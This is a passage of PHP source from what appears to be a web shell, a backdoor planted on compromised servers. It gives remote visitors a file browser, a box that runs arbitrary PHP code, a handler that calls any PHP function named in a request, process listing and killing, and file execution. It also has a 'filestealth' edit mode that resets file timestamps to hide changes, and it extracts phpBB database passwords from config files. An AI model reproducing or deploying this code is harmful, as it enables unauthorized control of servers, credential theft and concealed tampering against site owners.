      usort($objects["folders"], "tabsort");
      usort($objects["links"], "tabsort");
      usort($objects["files"], "tabsort");
      if ($parsesort[1] == "d") {
        $objects["folders"] = array_reverse($objects["folders"]);
        $objects["files"] = array_reverse($objects["files"]);
      }
      $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
      $tab = array();
      $tab["cols"] = array($row);
      $tab["head"] = array();
      $tab["folders"] = array();
      $tab["links"] = array();
      $tab["files"] = array();
      $i = 0;
      foreach ($objects as $a) {
        $v = $a[0];
        $o = basename($v);
        $dir = dirname($v);
        if ($disp_fullpath) {$disppath = $v;}
        else {$disppath = $o;}
        $disppath = str2mini($disppath,60);
        if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
        elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
        foreach ($regxp_highlight as $r) {
          if (ereg($r[0],$o)) {
            if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; exshexit();}
            else {
              $r[1] = round($r[1]);
              $isdir = is_dir($v);
              if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
                if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
                $disppath = $r[2].$disppath.$r[3];
                if ($r[4]) {break;}
              }
            }
          }
        }
        $uo = urlencode($o);
        $ud = urlencode($dir);
        $uv = urlencode($v);
        $row = array();
        if ($o == ".") {
          $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
          $row[] = "CURDIR";
        }
        elseif ($o == "..") {
          $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
          $row[] = "UPDIR";
        }
        elseif (is_dir($v)) {
          if (is_link($v)) {
            $disppath .= " => ".readlink($v);
            $type = "LINK";
            $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
          }
          else {
            $type = "DIR";
            $row[] =  "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
          }
          $row[] = $type;
        }
        elseif(is_file($v)) {
          $ext = explode(".",$o);
          $c = count($ext)-1;
          $ext = $ext[$c];
          $ext = strtolower($ext);
          $row[] =  "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
          $row[] = view_size($a[1]);
        }
        $row[] = @date("d.m.Y H:i:s",$a[2]);
        if (!$win) { $row[] = $a[3]; }
        $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
        if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
        else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
        if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
        else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
        if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
        elseif (is_link($v)) {$tab["links"][] = $row;}
        elseif (is_dir($v)) {$tab["folders"][] = $row;}
        elseif (is_file($v)) {$tab["files"][] = $row;}
        $i++;
      }
    }
    // Compiling table
    $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
    echo "<div class=barheader>.: ";
    if (!empty($fx_infohead)) { echo $fx_infohead; }
    else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
    echo " :.</div>
";
    echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
         "<table class=explorer>";
    foreach($table as $row) {
      echo "<tr>";
      foreach($row as $v) {echo "<td>".$v."</td>";}
      echo "</tr>
";
    }
    echo "</table>".
         "<script>".
         "function ls_setcheckboxall(status) {".
         " var id = 1; var num = ".(count($table)-2).";".
         " while (id <= num) { document.getElementById(\'actbox\'+id).checked = status; id++; }".
         "}".
         "function ls_reverse_all() {".
         " var id = 1; var num = ".(count($table)-2).";".
         " while (id <= num) { document.getElementById(\'actbox\'+id).checked = !document.getElementById(\'actbox\'+id).checked; id++; }".
         "}".
         "</script>".
         "<div align=\"right\">".
         "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
         "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
    if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
      echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    }
    echo "<select name=act><option value=\"".$act."\">With selected:</option>";
    echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
    echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
    if ($usefsbuff) {
      echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
      echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
      echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
    }
    echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
    echo "</form>";
  }
}
if ($act == "tools") { tools(); }
##[ PHP FILESYSTEM TRICKZ (By eX) ]##
if ($act == "phpfsys") { 
  echo "<div align=left>";
  $fsfunc = $phpfsysfunc;
  if ($fsfunc=="copy") {
    if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...
";}
    else { echo "<b>Success!</b> $arg1 copied to $arg2
"; }
  }
  elseif ($fsfunc=="rename") {
    if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!
";}
    else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2
"; }
  }
  elseif ($fsfunc=="chmod") {
    if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!
";}
    else { echo "<b>Perm for $arg1 changed to $arg2!</b>
"; }
  }
  elseif ($fsfunc=="read") {
    $darg = $d.$arg1;
    if ($hasil = @file_get_contents($darg)) {
      echo "<b>Filename:</b> ".$darg."<br>";
      echo "<center><textarea cols=135 rows=30>";
      echo htmlentities($hasil);
      echo "</textarea></center>
";
    }
    else { echo "<div class=fxerrmsg> Couldn\'t open ".$darg."<div>"; }
  }
  elseif ($fsfunc=="write") {
    $darg = $d.$arg1;
    if(@file_put_contents($darg,$arg2)) {
      echo "<b>Saved!</b> ".$darg;
    }
    else { echo "<div class=fxerrmsg>Can\'t write to $darg!</div>"; }
  }
  elseif ($fsfunc=="downloadbin") {
    $handle = fopen($arg1, "rb");
    $contents = \'\';
    while (!feof($handle)) {
      $contents .= fread($handle, 8192);
    }
    $r = @fopen($d.$arg2,\'w\');
    if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
    else { echo "<div class=fxerrmsg>Can\'t write to ".$d.$arg2."!</div>"; }
    fclose($r);
    fclose($handle);
  }
  elseif ($fsfunc=="download") {
    $text = implode(\'\', file($arg1));
    if ($text) {
      $r = @fopen($d.$arg2,\'w\');
      if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
      else { echo "<div class=fxerrmsg>Can\'t write to ".$d.$arg2."!</div>"; }
      fclose($r);
    }
    else { echo "<div class=fxerrmsg>Can\'t download from $arg1!</div>";}
  }
  elseif ($fsfunc==\'mkdir\') {
    $thedir = $d.$arg1;
    if ($thedir != $d) {
      if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
      elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
      else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
    }
    else { echo "Can\'t create current dir:<b> $thedir</b>"; }
  }
  elseif ($fsfunc==\'fwritabledir\') {
    function recurse_dir($dir,$max_dir) {
      global $dir_count;
      $dir_count++;
      if( $cdir = dir($dir) ) {
        while( $entry = $cdir-> read() ) {
          if( $entry != \'.\' && $entry != \'..\' ) {
            if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
             if ($dir_count > $max_dir) { return; }
              echo "[".$dir_count."] ".$dir.$entry."
";
              recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
            }
          }
        }
        $cdir->close();
      }
    }
    if (!$arg1) { $arg1 = $d; }
    if (!$arg2) { $arg2 = 10; }
    if (is_dir($arg1)) {
      echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
      echo "<pre>";
      recurse_dir($arg1,$arg2);
      echo "</pre>";
      $total = $dir_count - 1;
      echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
    }
    else {
      echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>";
    }
  }
  else {
    if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>
"; }
    else {
      if ($hasil = $fsfunc($arg1)) {
        echo "<b>Result of $fsfunc $arg1:</b><br>";
        if (!is_array($hasil)) { echo "$hasil
"; }
        else {
          echo "<pre>";
          foreach ($hasil as $v) { echo $v."
"; }
          echo "</pre>";
        }
      }
      else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>
"; }
    }
  }
  echo "</div>
";
}
if ($act == "processes") {
  echo "<div class=barheader>.: Processes :.</div>
";
  if (!$win) { $handler = "ps aux".($grep?" | grep \'".addslashes($grep)."\'":""); }
  else { $handler = "tasklist"; }
  $ret = exexec($handler);
  if (!$ret) { echo "Can\'t execute \"".$handler."\"!"; }
  else {
    if (empty($processes_sort)) { $processes_sort = $sort_default; }
    $parsesort = parsesort($processes_sort);
    if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
    $k = $parsesort[0];
    if ($parsesort[1] != "a") {
      $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
    }
    else {
      $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
    }
    $ret = htmlspecialchars($ret);
    if (!$win) { //Not Windows
      if ($pid) {
        if (is_null($sig)) { $sig = 9; }
        echo "Sending signal ".$sig." to #".$pid."... ";
        if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; }
      }
      while (ereg("  ",$ret)) { $ret = str_replace("  "," ",$ret); }
      $stack = explode("
",$ret);
      $head = explode(" ",$stack[0]);
      unset($stack[0]);
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) {
          $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
        }
      }
      $head[$i] = "";
      $prcs = array();
      foreach ($stack as $line) {
        if (!empty($line)) {
          $line = explode(" ",$line);
          $line[10] = join(" ",array_slice($line,10));
          $line = array_slice($line,0,11);
          if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; }
          $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
          $prcs[] = $line;
        }
      }
    }
    //For Windows - Fixed By eX
    else {
      while (ereg("  ",$ret)) { $ret = str_replace("  "," ",$ret); }
      while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
      $ret = convert_cyr_string($ret,"d","w");
      $stack = explode("
",$ret);
      unset($stack[0],$stack[2]);
      $stack = array_values($stack);
      $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
      $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
      $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
      $head = explode(" ",$stack[0]);
      $stack = array_slice($stack,1);
      $head = array_values($head);
      if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
      else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
      if ($k > count($head)) {$k = count($head)-1;}
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
      }
      $prcs = array();
      unset($stack[0]);
      foreach ($stack as $line) {
        if (!empty($line)) {
          $line = explode(" ",$line);
          $line[4] = str_replace(".","",$line[4]);
          $line[4] = intval($line[4]) * 1024;
          unset($line[5]);
          $prcs[] = $line;
        }
      }
    }
    $head[$k] = "<b>".$head[$k]."</b>".$y;
    $v = $processes_sort[0];
    usort($prcs,"tabsort");
    if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
    $tab = array();
    $tab[] = $head;
    $tab = array_merge($tab,$prcs);
    echo "<table class=explorer>
";
    foreach($tab as $i=>$k) {
      echo "<tr>";
      foreach($k as $j=>$v) {
        if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
        echo "<td>".$v."</td>";
      }
      echo "</tr>
";
    }
    echo "</table>";
  }
}
if ($act == "eval") {
  if (!empty($eval)) {
    echo "Result of execution this PHP-code:<br>";
    $tmp = @ob_get_contents();
    $olddir = realpath(".");
    @chdir($d);
    if ($tmp) {
      @ob_clean();
      eval($eval);
      $ret = @ob_get_contents();
      $ret = convert_cyr_string($ret,"d","w");
      @ob_clean();
      echo $tmp;
      if ($eval_txt) {
        $rows = count(explode("
",$ret))+1;
        if ($rows < 10) {$rows = 10;}
        echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
      }
      else {echo $ret."<br>";}
    }
    else {
      if ($eval_txt) {
        echo "<br><textarea cols=\"115\" rows=\"15\" readonly>";
        eval($eval);
        echo "</textarea>";
      }
      else {echo $ret;}
    }
    @chdir($olddir);
  }
  else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f") {
  echo "<div align=left>";
  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
    if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
    else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  }
  else {
    $r = @file_get_contents($d.$f);
    $ext = explode(".",$f);
    $c = count($ext)-1;
    $ext = $ext[$c];
    $ext = strtolower($ext);
    $rft = "";
    foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
    if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
    if (empty($ft)) {$ft = $rft;}
    $arr = array(
        array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
        array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
        array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
        array("Code","code"),
        array("Session","phpsess"),
        array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
        array("SDB","sdb"),
        array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
        array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
        array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
        array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
        array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
    );
    echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
    foreach($arr as $t) {
      if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
      elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
      else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
      echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
    }
    echo "<hr size=\"1\" noshade>";
    if ($ft == "info") {
      echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
      if (!$win) {
        echo "<tr><td><b>Owner/Group</b></td><td> ";
        $ow = posix_getpwuid(fileowner($d.$f));
        $gr = posix_getgrgid(filegroup($d.$f));
        echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
      }
      echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
      $fi = fopen($d.$f,"rb");
      if ($fi) {
        if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
        else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
        $n = 0;
        $a0 = "00000000<br>";
        $a1 = "";
        $a2 = "";
        for ($i=0; $i<strlen($str); $i++) {
          $a1 .= sprintf("%02X",ord($str[$i]))." ";
          switch (ord($str[$i])) {
            case 0:  $a2 .= "<font>0</font>"; break;
            case 32:
            case 10:
            case 13: $a2 .= "&nbsp;"; break;
            default: $a2 .= htmlspecialchars($str[$i]);
          }
          $n++;
          if ($n == $hexdump_rows) {
            $n = 0;
            if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
            $a1 .= "<br>";
            $a2 .= "<br>";
          }
        }
        echo "<table border=1 bgcolor=#666666>".
             "<tr><td bgcolor=#666666>".$a0."</td>".
             "<td bgcolor=#000000>".$a1."</td>".
             "<td bgcolor=#000000>".$a2."</td>".
             "</tr></table><br>";
      }
      $encoded = "";
      if ($base64 == 1) {
        echo "<b>Base64 Encode</b><br>";
        $encoded = base64_encode(file_get_contents($d.$f));
      }
      elseif($base64 == 2) {
        echo "<b>Base64 Encode + Chunk</b><br>";
        $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
      }
      elseif($base64 == 3) {
        echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
        $encoded = base64_encode(file_get_contents($d.$f));
        $encoded = substr(preg_replace("!.{1,76}!","\'\0\'.
",$encoded),0,-2);
      }
      elseif($base64 == 4) {
        $text = file_get_contents($d.$f);
        $encoded = base64_decode($text);
        echo "<b>Base64 Decode";
    if (base64_encode($encoded) != $text) {echo " (failed)";}
    echo "</b><br>";
   }
   if (!empty($encoded))
   {
    echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
   }
   echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
        <P>";
  }
  elseif ($ft == "html") {
   if ($white) {@ob_clean();}
   echo $r;
   if ($white) {exshexit();}
  }
  elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  elseif ($ft == "phpsess") {
   echo "<pre>";
   $v = explode("|",$r);
   echo $v[0]."<br>";
   var_dump(unserialize($v[1]));
   echo "</pre>";
  }
  elseif ($ft == "exe") {
   $ext = explode(".",$f);
   $c = count($ext)-1;
   $ext = $ext[$c];
   $ext = strtolower($ext);
   $rft = "";
   foreach($exeftypes as $k=>$v)
   {
    if (in_array($ext,$v)) {$rft = $k; break;}
   }
   $cmd = str_replace("%f%",$f,$rft);
   echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  }
  elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  elseif ($ft == "code") {
    if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
      $arr = explode("
",$r);
      if (count($arr == 18)) {
        include($d.$f);
        echo "<b>phpBB configuration is detected in this file!<br>";
        if ($dbms == "mysql4") {$dbms = "mysql";}
        if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
        else {echo "But, you can\'t connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
        echo "Parameters for manual connect:<br>";
        $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
        foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."=\'".htmlspecialchars($v)."\'<br>";}
        echo "</b><hr size=\"1\" noshade>";
      }
    }
    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
    if (!empty($white)) {@ob_clean();}
    highlight_file($d.$f);
    if (!empty($white)) {exshexit();}
    echo "</div>";
  }
  elseif ($ft == "download") {
    @ob_clean();
    header("Content-type: application/octet-stream");
    header("Content-length: ".filesize($d.$f));
    header("Content-disposition: attachment; filename=\"".$f."\";");
    echo $r;
    exit;
  }
  elseif ($ft == "notepad") {
    @ob_clean();
    header("Content-type: text/plain");
    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
    echo($r);
    exit;
  }
  elseif ($ft == "img") {
    $inf = getimagesize($d.$f);
    if (!$white) {
      if (empty($imgsize)) {$imgsize = 20;}
      $width = $inf[0]/100*$imgsize;
      $height = $inf[1]/100*$imgsize;
      echo "<center><b>Size:</b>&nbsp;";
      $sizes = array("100","50","20");
      foreach ($sizes as $v) {
        echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
        if ($imgsize != $v ) {echo $v;}
        else {echo "<u>".$v."</u>";}
        echo "</a>&nbsp;&nbsp;&nbsp;";
      }
      echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
    }
    else {
      @ob_clean();
      $ext = explode($f,".");
      $ext = $ext[count($ext)-1];
      header("Content-type: ".$inf["mime"]);
      readfile($d.$f);
      exit;
    }
  }
  elseif ($ft == "edit") {
   if (!empty($submit))
   {
    if ($filestealth) {$stat = stat($d.$f);}
    $fp = fopen($d.$f,"w");
    if (!$fp) {echo "<b>Can\'t write to file!</b>";}
    else
    {
     echo "<b>Saved!</b>";
     fwrite($fp,$edit_text);
     fclose($fp);
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
     $r = $edit_text;
    }
   }
   $rows = count(explode("
",$r));
   if ($rows < 10) {$rows = 10;}
   if ($rows > 30) {$rows = 30;}
   echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href=\'".addslashes($surl."act=ls&d=".substr($d,0,-1))."\';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  }
  elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";}
}
echo "</div>
";
}
}
else {
@ob_clean();
$images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
